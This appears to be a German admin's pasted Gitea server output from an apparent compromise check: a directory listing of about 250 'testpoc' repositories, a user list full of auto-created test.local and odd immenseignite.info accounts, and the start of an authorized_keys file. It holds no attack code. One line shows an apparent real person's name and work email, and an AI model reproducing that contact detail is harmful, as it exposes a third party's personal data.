|
drwxr-xr-x 3 admindc admindc 4.0K Aug 22 21:28 testpoc69640
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 03:33 testpoc97230
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 05:47 testpoc52394
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:39 testpoc40721
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:41 testpoc51551
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc27510
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc61382
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 15:47 testpoc18831
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 23 22:40 testpoc99091
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 24 04:46 testpoc86985
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 24 10:52 testpoc67871
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 24 12:55 testpoc76030
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 24 19:01 testpoc87311
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 24 23:41 testpoc50982
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 25 05:47 testpoc62120
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 25 11:52 testpoc22318
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 25 17:57 testpoc69014
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 26 00:02 testpoc37385
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 26 06:08 testpoc98701
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 26 12:13 testpoc98443
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 26 18:18 testpoc61465
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 27 00:23 testpoc80725
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 27 06:28 testpoc89134
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 27 12:33 testpoc76121
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 27 18:38 testpoc75962
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 28 00:43 testpoc99832
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 28 06:48 testpoc55555
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 28 12:53 testpoc20107
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 28 18:58 testpoc83027
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:03 testpoc50212
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:23 testpoc33280
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:08 testpoc67515
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:56 testpoc59645
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 29 09:27 testpoc84414
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 29 14:01 testpoc22008
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 29 20:06 testpoc54612
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 1 08:51 testpoc70617
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 1 14:29 testpoc89149
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 2 07:15 testpoc12795
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 2 09:21 testpoc51398
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 3 08:25 testpoc87154
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 4 07:19 testpoc96091
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 4 20:13 testpoc94765
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 5 21:44 testpoc26027
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 6 08:11 testpoc51858
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 6 14:16 testpoc22861
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 6 20:21 testpoc90891
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 7 02:25 testpoc33139
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 7 08:30 testpoc13803
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 7 09:37 testpoc84488
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 7 13:39 testpoc11688
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 7 17:41 testpoc53646
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 7 21:42 testpoc68917
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 8 01:43 testpoc83437
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 8 05:45 testpoc54590
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 8 09:47 testpoc88044
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 8 13:50 testpoc17939
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 8 17:52 testpoc51371
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 8 21:54 testpoc40770
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 9 01:54 testpoc28859
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 9 05:55 testpoc22366
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 9 09:56 testpoc76660
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 9 13:58 testpoc10570
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 9 17:59 testpoc55506
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 9 22:00 testpoc87776
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 10 02:01 testpoc10705
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 10 06:02 testpoc26965
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 10 10:03 testpoc53126
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 10 14:04 testpoc33503
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 10 18:05 testpoc39441
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 10 22:06 testpoc56058
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 11 02:07 testpoc19144
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 11 06:08 testpoc39192
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 11 10:09 testpoc17058
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 11 14:10 testpoc63010
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 11 18:11 testpoc26355
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 11 22:13 testpoc66868
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 12 02:11 testpoc53078
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 12 06:11 testpoc63807
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 12 10:10 testpoc44807
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 12 14:10 testpoc32788
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 12 18:09 testpoc55027
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 12 22:09 testpoc75302
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 13 02:08 testpoc36916
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 13 06:09 testpoc55395
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 13 10:09 testpoc43177
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 13 14:08 testpoc20726
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 13 18:08 testpoc42534
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 13 22:07 testpoc38380
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 14 02:06 testpoc69572
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 14 06:05 testpoc80463
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 14 10:04 testpoc14211
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 14 14:03 testpoc86381
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 14 18:00 testpoc17722
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 14 21:56 testpoc96516
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:24 testpoc68930
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:50 testpoc75427
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 15 05:46 testpoc54842
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 15 09:45 testpoc97134
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 15 13:42 testpoc40496
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 15 17:41 testpoc12313
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 15 21:39 testpoc58970
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 16 01:37 testpoc55339
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 16 05:36 testpoc63044
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 16 09:08 testpoc27314
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 16 11:41 testpoc52384
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 16 13:06 testpoc35017
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 16 17:07 testpoc40339
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 16 21:05 testpoc39893
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 17 01:03 testpoc82705
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 17 05:00 testpoc50766
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 17 08:57 testpoc32746
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 17 12:53 testpoc87888
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 17 16:52 testpoc84074
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 17 20:50 testpoc57938
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 18 00:47 testpoc51346
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 18 04:44 testpoc39794
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 18 08:40 testpoc84743
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 18 12:36 testpoc49129
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 18 16:34 testpoc54626
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 18 20:30 testpoc40862
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 19 00:26 testpoc16652
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 19 04:23 testpoc13731
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 19 08:19 testpoc94819
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 19 12:15 testpoc84836
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 19 16:12 testpoc91160
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 19 20:09 testpoc69618
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 20 00:04 testpoc88367
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 20 04:00 testpoc36234
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 20 07:56 testpoc85733
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 20 11:53 testpoc55201
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 20 15:49 testpoc52938
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 20 19:46 testpoc20554
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 20 23:42 testpoc85711
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 21 03:38 testpoc42804
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 21 07:33 testpoc69623
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 21 11:29 testpoc79949
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 21 15:25 testpoc98707
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 21 19:22 testpoc15104
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 21 23:19 testpoc32066
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 22 03:16 testpoc49698
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 22 07:13 testpoc63211
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 22 11:10 testpoc63173
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 22 15:07 testpoc55186
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 22 19:05 testpoc42437
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 22 23:02 testpoc82932
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 23 02:59 testpoc57923
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 23 06:56 testpoc13326
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 23 09:40 testpoc79896
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 23 10:29 testpoc38905
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 23 14:26 testpoc69930
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 23 18:22 testpoc95946
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 23 22:19 testpoc93288
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 24 02:15 testpoc90831
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 24 06:10 testpoc51788
|
|
drwxr-xr-x 3 admindc admindc 4.0K Sep 24 10:05 testpoc63022
|
|
drwxr-xr-x 268 admindc admindc 12K Sep 24 10:05 .
|
|
drwxr-xr-x 1622 admindc admindc 64K Sep 24 12:02 giteaa1337
|
|
drwxr-xr-x 1630 admindc admindc 68K Sep 24 12:02 gitea1337
|
|
´´´
|
|
|
|
Sind diese verdächtig?
|
|
|
|
---
|
|
|
|
Hier sind die Ergebnisse von Schritt 3, 4 und 6 sowie der Blick in ein testpoc Repo:
|
|
```
|
|
root@sv003 ~/docker/git # # Schritt 3
|
|
root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list
|
|
ID Username Email IsActive IsAdmin 2FA
|
|
1 admin nix@no.de true true false
|
|
2 tlg tlg@nix.de true false false
|
|
3 llm llm@nix.de true false false
|
|
4 wbg wbg@nix.de true false false
|
|
5 n8n n8n@nix.de true false false
|
|
6 krtr krtr@nix.de true false false
|
|
7 try try@nix.de true false false
|
|
8 trf trf@nix.de true false false
|
|
9 ncd ncd@nix.de true false false
|
|
10 rdms Thomas.Langer@destengs.com true false false
|
|
11 pln No@nix.de true false false
|
|
12 mkt mkt@nix.no true false false
|
|
13 lwc lwc@nix.de true false false
|
|
14 wlfb wlfb@nix.no true false false
|
|
15 testpoc60874 testpoc91319@test.local true false false
|
|
16 testpoc29453 testpoc51901@test.local true false false
|
|
17 testpoc43268 testpoc62945@test.local true false false
|
|
18 testpoc12153 testpoc70731@test.local true false false
|
|
19 testpoc24197 testpoc51518@test.local true false false
|
|
20 testpoc85539 testpoc18172@test.local true false false
|
|
21 testpoc98694 testpoc85362@test.local true false false
|
|
22 testpoc78015 testpoc12874@test.local true false false
|
|
23 testpoc25390 testpoc11149@test.local true false false
|
|
24 testpoc92837 testpoc74432@test.local true false false
|
|
25 testpoc97168 testpoc16626@test.local true false false
|
|
26 testpoc82909 testpoc55517@test.local true false false
|
|
27 jujpqlugml qinvmrmq@immenseignite.info true false false
|
|
28 dqyywxkedt kqjsnrgy@immenseignite.info true false false
|
|
29 testpoc81407 testpoc37764@test.local true false false
|
|
30 testpoc84892 testpoc10432@test.local true false false
|
|
31 testpoc95017 testpoc98343@test.local true false false
|
|
32 testpoc87960 testpoc73548@test.local true false false
|
|
33 testpoc60504 testpoc84459@test.local true false false
|
|
34 testpoc25643 testpoc94109@test.local true false false
|
|
35 testpoc51520 testpoc77295@test.local true false false
|
|
36 testpoc56033 testpoc83028@test.local true false false
|
|
37 testpoc38666 testpoc54171@test.local true false false
|
|
38 testpoc93555 testpoc31520@test.local true false false
|
|
39 testpoc46919 testpoc95158@test.local true false false
|
|
40 testpoc30819 testpoc26694@test.local true false false
|
|
41 testpoc84143 testpoc66048@test.local true false false
|
|
42 testpoc37242 testpoc43037@test.local true false false
|
|
43 testpoc56949 testpoc79697@test.local true false false
|
|
44 testpoc69547 testpoc46357@test.local true false false
|
|
45 testpoc19409 testpoc75199@test.local true false false
|
|
46 testpoc45556 testpoc42945@test.local true false false
|
|
47 testpoc72460 testpoc62590@test.local true false false
|
|
48 testpoc24413 testpoc68769@test.local true false false
|
|
49 testpoc79954 testpoc17594@test.local true false false
|
|
50 testpoc73498 testpoc93018@test.local true false false
|
|
51 testpoc31492 testpoc97481@test.local true false false
|
|
52 testpoc84236 testpoc72245@test.local true false false
|
|
53 testpoc66853 testpoc11866@test.local true false false
|
|
54 testpoc96299 testpoc33830@test.local true false false
|
|
55 testpoc37593 testpoc50816@test.local true false false
|
|
56 testpoc36987 testpoc33219@test.local true false false
|
|
57 testpoc31664 testpoc71498@test.local true false false
|
|
58 testpoc40668 testpoc10962@test.local true false false
|
|
59 testpoc53151 testpoc24360@test.local true false false
|
|
60 testpoc69854 testpoc19442@test.local true false false
|
|
61 testpoc80023 testpoc30980@test.local true false false
|
|
62 gitea1337 gitea1337@test.local true false false
|
|
63 giteaa1337 giteaa1337@test.local true false false
|
|
64 testpoc77229 testpoc77108@test.local true false false
|
|
65 testpoc71873 testpoc31506@test.local true false false
|
|
66 testpoc17745 testpoc47546@test.local true false false
|
|
67 testpoc53823 testpoc51519@test.local true false false
|
|
68 testpoc66756 testpoc76453@test.local true false false
|
|
69 testpoc22616 testpoc66400@test.local true false false
|
|
70 testpoc27265 testpoc32399@test.local true false false
|
|
71 testpoc34412 testpoc66592@test.local true false false
|
|
72 testpoc85061 testpoc56610@test.local true false false
|
|
73 testpoc36190 testpoc69081@test.local true false false
|
|
74 testpoc73222 testpoc37006@test.local true false false
|
|
75 testpoc54227 testpoc73883@test.local true false false
|
|
76 testpoc46556 testpoc37889@test.local true false false
|
|
77 testpoc62541 testpoc58718@test.local true false false
|
|
78 testpoc61632 testpoc57477@test.local true false false
|
|
79 testpoc90545 testpoc58809@test.local true false false
|
|
80 testpoc61911 testpoc15016@test.local true false false
|
|
81 testpoc95111 testpoc44233@test.local true false false
|
|
82 testpoc78438 testpoc60733@test.local true false false
|
|
83 testpoc81170 testpoc48652@test.local true false false
|
|
84 testpoc86973 testpoc63967@test.local true false false
|
|
85 testpoc18093 testpoc68335@test.local true false false
|
|
86 testpoc34060 testpoc36523@test.local true false false
|
|
87 testpoc19522 testpoc86071@test.local true false false
|
|
88 testpoc39149 testpoc72559@test.local true false false
|
|
89 testpoc22320 testpoc23247@test.local true false false
|
|
90 testpoc34738 testpoc47744@test.local true false false
|
|
91 testpoc48807 testpoc90459@test.local true false false
|
|
92 testpoc68152 testpoc33960@test.local true false false
|
|
93 testpoc62114 testpoc94172@test.local true false false
|
|
94 testpoc79936 testpoc94596@test.local true false false
|
|
95 testpoc13243 testpoc91895@test.local true false false
|
|
96 testpoc69682 testpoc25547@test.local true false false
|
|
97 testpoc72852 testpoc79040@test.local true false false
|
|
98 testpoc15007 testpoc15130@test.local true false false
|
|
99 testpoc86124 testpoc52942@test.local true false false
|
|
100 testpoc11637 testpoc52896@test.local true false false
|
|
101 testpoc87910 testpoc59779@test.local true false false
|
|
102 testpoc82836 testpoc63572@test.local true false false
|
|
103 testpoc41185 testpoc67529@test.local true false false
|
|
104 testpoc98983 testpoc65721@test.local true false false
|
|
105 testpoc19606 testpoc74870@test.local true false false
|
|
106 testpoc23912 testpoc97447@test.local true false false
|
|
107 testpoc62773 testpoc20131@test.local true false false
|
|
108 testpoc78861 testpoc94953@test.local true false false
|
|
109 testpoc95173 testpoc53547@test.local true false false
|
|
110 testpoc40264 testpoc14913@test.local true false false
|
|
111 testpoc26934 testpoc34368@test.local true false false
|
|
112 testpoc73319 testpoc38817@test.local true false false
|
|
113 testpoc50454 testpoc52277@test.local true false false
|
|
114 testpoc19498 testpoc63822@test.local true false false
|
|
115 testpoc69640 testpoc80189@test.local true false false
|
|
116 testpoc97230 testpoc84402@test.local true false false
|
|
117 testpoc52394 testpoc21513@test.local true false false
|
|
118 testpoc40721 testpoc95208@test.local true false false
|
|
119 testpoc51551 testpoc84987@test.local true false false
|
|
120 testpoc27510 testpoc46568@test.local true false false
|
|
121 testpoc61382 testpoc76075@test.local true false false
|
|
122 testpoc18831 testpoc74098@test.local true false false
|
|
123 testpoc99091 testpoc12351@test.local true false false
|
|
124 testpoc86985 testpoc94876@test.local true false false
|
|
125 testpoc67871 testpoc81504@test.local true false false
|
|
126 testpoc76030 testpoc42139@test.local true false false
|
|
127 testpoc87311 testpoc24051@test.local true false false
|
|
128 testpoc50982 testpoc56698@test.local true false false
|
|
129 testpoc62120 testpoc19823@test.local true false false
|
|
130 testpoc22318 testpoc12134@test.local true false false
|
|
131 testpoc69014 testpoc36626@test.local true false false
|
|
132 testpoc37385 testpoc21630@test.local true false false
|
|
133 testpoc98701 testpoc45384@test.local true false false
|
|
134 testpoc98443 testpoc43338@test.local true false false
|
|
135 oehhhkluuj xeffdvvw@immenseignite.info true false false
|
|
136 testpoc61465 testpoc56776@test.local true false false
|
|
137 testpoc80725 testpoc28754@test.local true false false
|
|
138 testpoc89134 testpoc44254@test.local true false false
|
|
139 testpoc76121 testpoc98327@test.local true false false
|
|
140 testpoc75962 testpoc12683@test.local true false false
|
|
141 testpoc99832 testpoc35404@test.local true false false
|
|
142 testpoc55555 testpoc36879@test.local true false false
|
|
143 testpoc20107 testpoc33265@test.local true false false
|
|
144 testpoc83027 testpoc15826@test.local true false false
|
|
145 testpoc50212 testpoc46619@test.local true false false
|
|
146 testpoc33280 testpoc19156@test.local true false false
|
|
147 testpoc67515 testpoc68952@test.local true false false
|
|
148 testpoc59645 testpoc49581@test.local true false false
|
|
149 testpoc84414 testpoc68320@test.local true false false
|
|
150 testpoc22008 testpoc32423@test.local true false false
|
|
151 testpoc54612 testpoc53858@test.local true false false
|
|
152 testpoc70617 testpoc93985@test.local true false false
|
|
153 testpoc89149 testpoc24416@test.local true false false
|
|
154 testpoc12795 testpoc16841@test.local true false false
|
|
155 testpoc51398 testpoc19394@test.local true false false
|
|
156 testpoc87154 testpoc61850@test.local true false false
|
|
157 testpoc96091 testpoc36560@test.local true false false
|
|
158 testpoc94765 testpoc31750@test.local true false false
|
|
159 testpoc26027 testpoc82451@test.local true false false
|
|
160 testpoc51858 testpoc78710@test.local true false false
|
|
161 testpoc22861 testpoc38389@test.local true false false
|
|
162 testpoc90891 testpoc12868@test.local true false false
|
|
163 testpoc33139 testpoc11265@test.local true false false
|
|
164 testpoc13803 testpoc17569@test.local true false false
|
|
165 testpoc84488 testpoc29054@test.local true false false
|
|
166 testpoc11688 testpoc51653@test.local true false false
|
|
167 testpoc53646 testpoc24333@test.local true false false
|
|
168 testpoc68917 testpoc87626@test.local true false false
|
|
169 testpoc83437 testpoc52329@test.local true false false
|
|
170 testpoc54590 testpoc78511@test.local true false false
|
|
171 testpoc88044 testpoc89544@test.local true false false
|
|
172 testpoc17939 testpoc45839@test.local true false false
|
|
173 testpoc51371 testpoc55269@test.local true false false
|
|
174 testpoc40770 testpoc47947@test.local true false false
|
|
175 testpoc28859 testpoc13771@test.local true false false
|
|
176 testpoc22366 testpoc93610@test.local true false false
|
|
177 testpoc76660 testpoc86849@test.local true false false
|
|
178 testpoc10570 testpoc44477@test.local true false false
|
|
179 testpoc55506 testpoc69869@test.local true false false
|
|
180 testpoc87776 testpoc48515@test.local true false false
|
|
181 testpoc10705 testpoc33463@test.local true false false
|
|
182 testpoc26965 testpoc35616@test.local true false false
|
|
183 testpoc53126 testpoc82130@test.local true false false
|
|
184 testpoc33503 testpoc66802@test.local true false false
|
|
185 testpoc39441 testpoc45694@test.local true false false
|
|
186 testpoc56058 testpoc29722@test.local true false false
|
|
187 testpoc19144 testpoc74209@test.local true false false
|
|
188 testpoc39192 testpoc76212@test.local true false false
|
|
189 testpoc17058 testpoc93548@test.local true false false
|
|
190 testpoc63010 testpoc12628@test.local true false false
|
|
191 testpoc26355 testpoc83710@test.local true false false
|
|
192 testpoc66868 testpoc57878@test.local true false false
|
|
193 testpoc53078 testpoc20581@test.local true false false
|
|
194 testpoc63807 testpoc51243@test.local true false false
|
|
195 testpoc44807 testpoc98646@test.local true false false
|
|
196 testpoc32788 testpoc85407@test.local true false false
|
|
197 testpoc55027 testpoc70857@test.local true false false
|
|
198 testpoc75302 testpoc30448@test.local true false false
|
|
199 testpoc36916 testpoc59742@test.local true false false
|
|
200 testpoc55395 testpoc25538@test.local true false false
|
|
201 testpoc43177 testpoc20034@test.local true false false
|
|
202 testpoc20726 testpoc69851@test.local true false false
|
|
203 testpoc42534 testpoc39123@test.local true false false
|
|
204 testpoc38380 testpoc44179@test.local true false false
|
|
205 testpoc69572 testpoc61835@test.local true false false
|
|
206 testpoc80463 testpoc62925@test.local true false false
|
|
207 testpoc14211 testpoc69761@test.local true false false
|
|
208 testpoc86381 testpoc97251@test.local true false false
|
|
209 testpoc17722 testpoc44345@test.local true false false
|
|
210 testpoc96516 testpoc39198@test.local true false false
|
|
211 testpoc68930 testpoc30706@test.local true false false
|
|
212 testpoc75427 testpoc59485@test.local true false false
|
|
213 testpoc54842 testpoc81985@test.local true false false
|
|
214 testpoc97134 testpoc57952@test.local true false false
|
|
215 testpoc40496 testpoc98701@test.local true false false
|
|
216 testpoc12313 testpoc26241@test.local true false false
|
|
217 testpoc58970 testpoc27679@test.local true false false
|
|
218 testpoc55339 testpoc14738@test.local true false false
|
|
219 testpoc63044 testpoc44058@test.local true false false
|
|
220 testpoc27314 testpoc93711@test.local true false false
|
|
221 testpoc52384 testpoc79256@test.local true false false
|
|
222 testpoc35017 testpoc47402@test.local true false false
|
|
223 testpoc40339 testpoc29947@test.local true false false
|
|
224 testpoc39893 testpoc41939@test.local true false false
|
|
225 testpoc82705 testpoc19718@test.local true false false
|
|
226 testpoc50766 testpoc95042@test.local true false false
|
|
227 testpoc32746 testpoc70520@test.local true false false
|
|
228 testpoc87888 testpoc99043@test.local true false false
|
|
229 testpoc84074 testpoc51513@test.local true false false
|
|
230 testpoc57938 testpoc49775@test.local true false false
|
|
231 testpoc51346 testpoc59538@test.local true false false
|
|
232 testpoc39794 testpoc91984@test.local true false false
|
|
233 testpoc84743 testpoc61888@test.local true false false
|
|
234 testpoc49129 testpoc99765@test.local true false false
|
|
235 testpoc54626 testpoc41961@test.local true false false
|
|
236 testpoc40862 testpoc88415@test.local true false false
|
|
237 testpoc16652 testpoc71474@test.local true false false
|
|
238 testpoc13731 testpoc40602@test.local true false false
|
|
239 testpoc94819 testpoc66785@test.local true false false
|
|
240 testpoc84836 testpoc22580@test.local true false false
|
|
241 testpoc91160 testpoc11965@test.local true false false
|
|
242 testpoc69618 testpoc93819@test.local true false false
|
|
243 testpoc88367 testpoc23584@test.local true false false
|
|
244 testpoc36234 testpoc14362@test.local true false false
|
|
245 testpoc85733 testpoc96722@test.local true false false
|
|
246 testpoc55201 testpoc33956@test.local true false false
|
|
247 testpoc52938 testpoc64189@test.local true false false
|
|
248 testpoc20554 testpoc23459@test.local true false false
|
|
249 testpoc85711 testpoc98923@test.local true false false
|
|
250 testpoc42804 testpoc99726@test.local true false false
|
|
251 testpoc69623 testpoc39804@test.local true false false
|
|
252 testpoc79949 testpoc26872@test.local true false false
|
|
253 testpoc98707 testpoc69824@test.local true false false
|
|
254 testpoc15104 testpoc95108@test.local true false false
|
|
255 testpoc32066 testpoc72645@test.local true false false
|
|
256 testpoc49698 testpoc62019@test.local true false false
|
|
257 testpoc63211 testpoc36522@test.local true false false
|
|
258 testpoc63173 testpoc36838@test.local true false false
|
|
259 testpoc55186 testpoc47808@test.local true false false
|
|
260 testpoc42437 testpoc28482@test.local true false false
|
|
261 testpoc82932 testpoc60807@test.local true false false
|
|
262 testpoc57923 testpoc28851@test.local true false false
|
|
263 testpoc13326 testpoc33674@test.local true false false
|
|
264 testpoc79896 testpoc75723@test.local true false false
|
|
265 testpoc38905 testpoc25808@test.local true false false
|
|
266 testpoc69930 testpoc93166@test.local true false false
|
|
267 testpoc95946 testpoc16379@test.local true false false
|
|
268 testpoc93288 testpoc70088@test.local true false false
|
|
269 testpoc90831 testpoc70624@test.local true false false
|
|
270 testpoc51788 testpoc16537@test.local true false false
|
|
271 testpoc63022 testpoc51536@test.local true false false
|
|
root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list --admin
|
|
ID Username Email IsActive
|
|
1 admin nix@no.de true
|
|
```
|
|
|
|
Die Ergebnisse aus Schritt 4 sind so lang, dass sie den Terminal Screen Buffer überlaufen lassen. Sie sind als `Schritt-4-Output.txt` angehängt.
|
|
|
|
```
|
|
root@sv003 ~/docker/git # # Schritt 6
|
|
root@sv003 ~/docker/git # cat /opt/appdata/gitea/git/.ssh/authorized_keys
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIADl9gVyC2c+a7qIZC6gXHgJydF12+9C663YIoT5i8q1 user-3
|
|
# gitea public key
|
|
